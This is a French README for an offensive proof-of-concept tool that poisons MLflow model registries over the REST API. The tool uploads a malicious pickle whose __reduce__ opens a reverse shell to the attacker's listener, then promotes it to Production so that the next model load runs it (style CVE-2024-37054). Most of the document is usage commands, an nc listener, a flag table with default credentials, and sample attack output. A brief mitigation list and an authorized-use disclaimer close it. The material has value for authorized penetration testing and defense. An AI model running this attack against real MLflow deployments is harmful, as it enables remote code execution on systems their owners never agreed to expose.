
Preuve de concept qui empoisonne les modèles enregistrés MLflow via l'API REST, en intégrant un pickle malveillant pour déclencher une RCE lors du chargement du modèle.
Preuve de concept générique pour une RCE par désérialisation de pickle contre les registres de modèles MLflow (style CVE-2024-37054). Ne communique qu'avec l'API REST MLflow — aucune hypothèse sur une quelconque application cliente en amont.
⚠️ Pour des tests de sécurité autorisés uniquement. N'exécutez ceci que contre des systèmes que vous possédez ou que vous êtes explicitement autorisé à tester (environnements CTF/lab, missions avec périmètre signé, etc.). L'accès non autorisé à des systèmes informatiques est illégal dans la plupart des juridictions.
Le flavor pyfunc de MLflow charge un modèle enregistré en désérialisant (unpickling) un artefact model.pkl chaque fois que mlflow.pyfunc.load_model() est appelé — que cela soit déclenché directement via l'interface/API MLflow, ou indirectement par une application cliente exécutant une inférence sur un modèle enregistré.
Le module pickle de Python peut exécuter du code arbitraire lors de la désérialisation via la méthode __reduce__ d'un objet. Si un attaquant dispose d'un accès suffisant à l'API MLflow pour :
...il peut faire passer un pickle malveillant en tant que model.pkl. La prochaine fois que quelque chose charge cette version de modèle, le code de l'attaquant s'exécute dans le contexte du processus effectuant le chargement (le serveur MLflow lui-même, ou une application cliente intégrant MLflow).
C'est la même primitive sous-jacente que celle derrière plusieurs CVE MLflow, notamment CVE-2023-6015, CVE-2023-6018 et CVE-2024-37054. C'est particulièrement dangereux car les instances MLflow sont fréquemment déployées sans authentification, ou avec des identifiants par défaut bien connus (admin:password).
Purement piloté par l'API, dans l'ordre :
--model-name).model.pkl — un pickle dont __reduce__ appelle os.system() pour lancer un reverse shell.MLmodel — le manifeste déclarant un flavor python_function / sklearn adossé à ce pickle.Production), car de nombreuses applications clientes ne chargent que la version d'un modèle au stage Production.Il ne découvre ni ne déclenche le chargement réel du modèle — cette partie est différente pour chaque déploiement :
mlflow.pyfunc.load_model() derrière un endpoint (une route /predict, une tâche batch planifiée, etc).Vous devez :
--model-name cible — depuis l'interface MLflow, l'API MLflow (/api/2.0/mlflow/registered-models/search), ou ce qu'une application cliente renvoie lorsqu'elle enregistre un modèle en votre nom.pip install requests --break-system-packages
Python 3.8+. Aucune autre dépendance.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Démarrez un listener avant ou après l'exécution :
nc -lvnp 4444
Déclenchez ensuite le chargement comme le fait l'application cible (son propre endpoint d'inférence, une tâche batch, un chargement manuel du modèle depuis l'interface MLflow, etc).
| Flag | Défaut | Description |
|---|---|---|
--mlflow | (requis) | URL de base de MLflow |
--model-name | aléatoire | Nom du modèle enregistré à empoisonner ; créé s'il n'existe pas |
--lhost | (requis) | IP de votre listener |
--lport | 4444 | Port de votre listener |
--username | admin | Nom d'utilisateur pour l'authentification basique MLflow |
--password | password | Mot de passe pour l'authentification basique MLflow |
--experiment-id | 0 | ID de l'expérience sous laquelle créer l'exécution |
--stage | Production | Stage vers lequel promouvoir la version malveillante, ou none pour ignorer la transition |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) en place.pickle (par ex. ONNX, ou des flavors avec une sérialisation plus sûre), ou validez/isolez le chargement des modèles.registered-models/create, model-versions/create et transition-stage dans les journaux d'audit/d'accès de MLflow, en particulier depuis des comptes qui ne devraient pas publier de modèles en Production.load_model()) afin qu'une primitive d'exécution de code à cet endroit n'ait pas de chemin direct vers des systèmes internes sensibles.MIT — voir LICENSE.